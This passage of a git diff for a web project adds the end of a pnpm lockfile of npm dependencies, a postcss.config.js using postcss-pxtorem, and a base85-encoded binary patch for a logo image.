+ react-dom: 18.3.1(react@18.3.1) + + react@18.3.1: + dependencies: + loose-envify: 1.4.0 + + readdirp@4.1.2: {} + + reflect.getprototypeof@1.0.10: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + which-builtin-type: 1.2.1 + + regexp.prototype.flags@1.5.4: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-errors: 1.3.0 + get-proto: 1.0.1 + gopd: 1.2.0 + set-function-name: 2.0.2 + + resize-observer-polyfill@1.5.1: {} + + resolve-from@4.0.0: {} + + resolve@2.0.0-next.5: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + reusify@1.1.0: {} + + rimraf@3.0.2: + dependencies: + glob: 7.2.3 + + rollup@4.46.2: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.46.2 + '@rollup/rollup-android-arm64': 4.46.2 + '@rollup/rollup-darwin-arm64': 4.46.2 + '@rollup/rollup-darwin-x64': 4.46.2 + '@rollup/rollup-freebsd-arm64': 4.46.2 + '@rollup/rollup-freebsd-x64': 4.46.2 + '@rollup/rollup-linux-arm-gnueabihf': 4.46.2 + '@rollup/rollup-linux-arm-musleabihf': 4.46.2 + '@rollup/rollup-linux-arm64-gnu': 4.46.2 + '@rollup/rollup-linux-arm64-musl': 4.46.2 + '@rollup/rollup-linux-loongarch64-gnu': 4.46.2 + '@rollup/rollup-linux-ppc64-gnu': 4.46.2 + '@rollup/rollup-linux-riscv64-gnu': 4.46.2 + '@rollup/rollup-linux-riscv64-musl': 4.46.2 + '@rollup/rollup-linux-s390x-gnu': 4.46.2 + '@rollup/rollup-linux-x64-gnu': 4.46.2 + '@rollup/rollup-linux-x64-musl': 4.46.2 + '@rollup/rollup-win32-arm64-msvc': 4.46.2 + '@rollup/rollup-win32-ia32-msvc': 4.46.2 + '@rollup/rollup-win32-x64-msvc': 4.46.2 + fsevents: 2.3.3 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + runes2@1.1.4: {} + + safe-array-concat@1.1.3: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + has-symbols: 1.1.0 + isarray: 2.0.5 + + safe-push-apply@1.0.0: + dependencies: + es-errors: 1.3.0 + isarray: 2.0.5 + + safe-regex-test@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-regex: 1.2.1 + + sass@1.90.0: + dependencies: + chokidar: 4.0.3 + immutable: 5.1.3 + source-map-js: 1.2.1 + optionalDependencies: + '@parcel/watcher': 2.5.1 + + scheduler@0.23.2: + dependencies: + loose-envify: 1.4.0 + + screenfull@5.2.0: {} + + scroll-into-view-if-needed@3.1.0: + dependencies: + compute-scroll-into-view: 3.1.1 + + semver@6.3.1: {} + + semver@7.7.2: {} + + set-function-length@1.2.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + + set-function-name@2.0.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + functions-have-names: 1.2.3 + has-property-descriptors: 1.0.2 + + set-proto@1.0.0: + dependencies: + dunder-proto: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + side-channel-list@1.0.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.0 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + size-sensor@1.0.2: {} + + slash@3.0.0: {} + + source-map-js@1.2.1: {} + + staged-components@1.1.3(react@18.3.1): + dependencies: + react: 18.3.1 + + stop-iteration-iterator@1.1.0: + dependencies: + es-errors: 1.3.0 + internal-slot: 1.1.0 + + string-convert@0.2.1: {} + + string.prototype.matchall@4.0.12: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + regexp.prototype.flags: 1.5.4 + set-function-name: 2.0.2 + side-channel: 1.1.0 + + string.prototype.repeat@1.0.0: + dependencies: + define-properties: 1.2.1 + es-abstract: 1.24.0 + + string.prototype.trim@1.2.10: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-data-property: 1.1.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-object-atoms: 1.1.1 + has-property-descriptors: 1.0.2 + + string.prototype.trimend@1.0.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + string.prototype.trimstart@1.0.8: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-json-comments@3.1.1: {} + + stylis@4.3.6: {} + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + supports-preserve-symlinks-flag@1.0.0: {} + + synckit@0.11.11: + dependencies: + '@pkgr/core': 0.2.9 + + text-table@0.2.0: {} + + throttle-debounce@5.0.2: {} + + tinyglobby@0.2.14: + dependencies: + fdir: 6.4.6(picomatch@4.0.3) + picomatch: 4.0.3 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + toggle-selection@1.0.6: {} + + ts-api-utils@1.4.3(typescript@5.9.2): + dependencies: + typescript: 5.9.2 + + tslib@2.3.0: {} + + tslib@2.8.1: {} + + type-check@0.4.0: + dependencies: + prelude-ls: 1.2.1 + + type-fest@0.20.2: {} + + typed-array-buffer@1.0.3: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-typed-array: 1.1.15 + + typed-array-byte-length@1.0.3: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + + typed-array-byte-offset@1.0.4: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + reflect.getprototypeof: 1.0.10 + + typed-array-length@1.0.7: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + is-typed-array: 1.1.15 + possible-typed-array-names: 1.1.0 + reflect.getprototypeof: 1.0.10 + + typescript@5.9.2: {} + + unbox-primitive@1.1.0: + dependencies: + call-bound: 1.0.4 + has-bigints: 1.1.0 + has-symbols: 1.1.0 + which-boxed-primitive: 1.1.1 + + undici-types@7.10.0: {} + + update-browserslist-db@1.1.3(browserslist@4.25.2): + dependencies: + browserslist: 4.25.2 + escalade: 3.2.0 + picocolors: 1.1.1 + + uri-js@4.4.1: + dependencies: + punycode: 2.3.1 + + use-sync-external-store@1.5.0(react@18.3.1): + dependencies: + react: 18.3.1 + + vconsole@3.15.1: + dependencies: + '@babel/runtime': 7.28.2 + copy-text-to-clipboard: 3.2.0 + core-js: 3.45.0 + mutation-observer: 1.0.3 + + vite@7.1.2(@types/node@24.2.1)(sass@1.90.0): + dependencies: + esbuild: 0.25.8 + fdir: 6.4.6(picomatch@4.0.3) + picomatch: 4.0.3 + postcss: 8.5.6 + rollup: 4.46.2 + tinyglobby: 0.2.14 + optionalDependencies: + '@types/node': 24.2.1 + fsevents: 2.3.3 + sass: 1.90.0 + + which-boxed-primitive@1.1.1: + dependencies: + is-bigint: 1.1.0 + is-boolean-object: 1.2.2 + is-number-object: 1.1.1 + is-string: 1.1.1 + is-symbol: 1.1.1 + + which-builtin-type@1.2.1: + dependencies: + call-bound: 1.0.4 + function.prototype.name: 1.1.8 + has-tostringtag: 1.0.2 + is-async-function: 2.1.1 + is-date-object: 1.1.0 + is-finalizationregistry: 1.1.1 + is-generator-function: 1.1.0 + is-regex: 1.2.1 + is-weakref: 1.1.1 + isarray: 2.0.5 + which-boxed-primitive: 1.1.1 + which-collection: 1.0.2 + which-typed-array: 1.1.19 + + which-collection@1.0.2: + dependencies: + is-map: 2.0.3 + is-set: 2.0.3 + is-weakmap: 2.0.2 + is-weakset: 2.0.4 + + which-typed-array@1.1.19: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + for-each: 0.3.5 + get-proto: 1.0.1 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + word-wrap@1.2.5: {} + + wrappy@1.0.2: {} + + xmldom@0.6.0: {} + + yallist@3.1.1: {} + + yocto-queue@0.1.0: {} + + zrender@5.6.1: + dependencies: + tslib: 2.3.0 + + zustand@5.0.7(@types/react@19.1.10)(react@18.3.1)(use-sync-external-store@1.5.0(react@18.3.1)): + optionalDependencies: + '@types/react': 19.1.10 + react: 18.3.1 + use-sync-external-store: 1.5.0(react@18.3.1) diff --git a/Cunkebao/postcss.config.js b/Cunkebao/postcss.config.js new file mode 100644 index 00000000..82ee5d38 --- /dev/null +++ b/Cunkebao/postcss.config.js @@ -0,0 +1,8 @@ +module.exports = { + plugins: { + 'postcss-pxtorem': { + rootValue: 16, + propList: ['*'], + }, + }, +}; \ No newline at end of file diff --git a/Cunkebao/public/logo.png b/Cunkebao/public/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..40daafb0df433304c61669ade36b4aae68aee896 GIT binary patch literal 499922 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 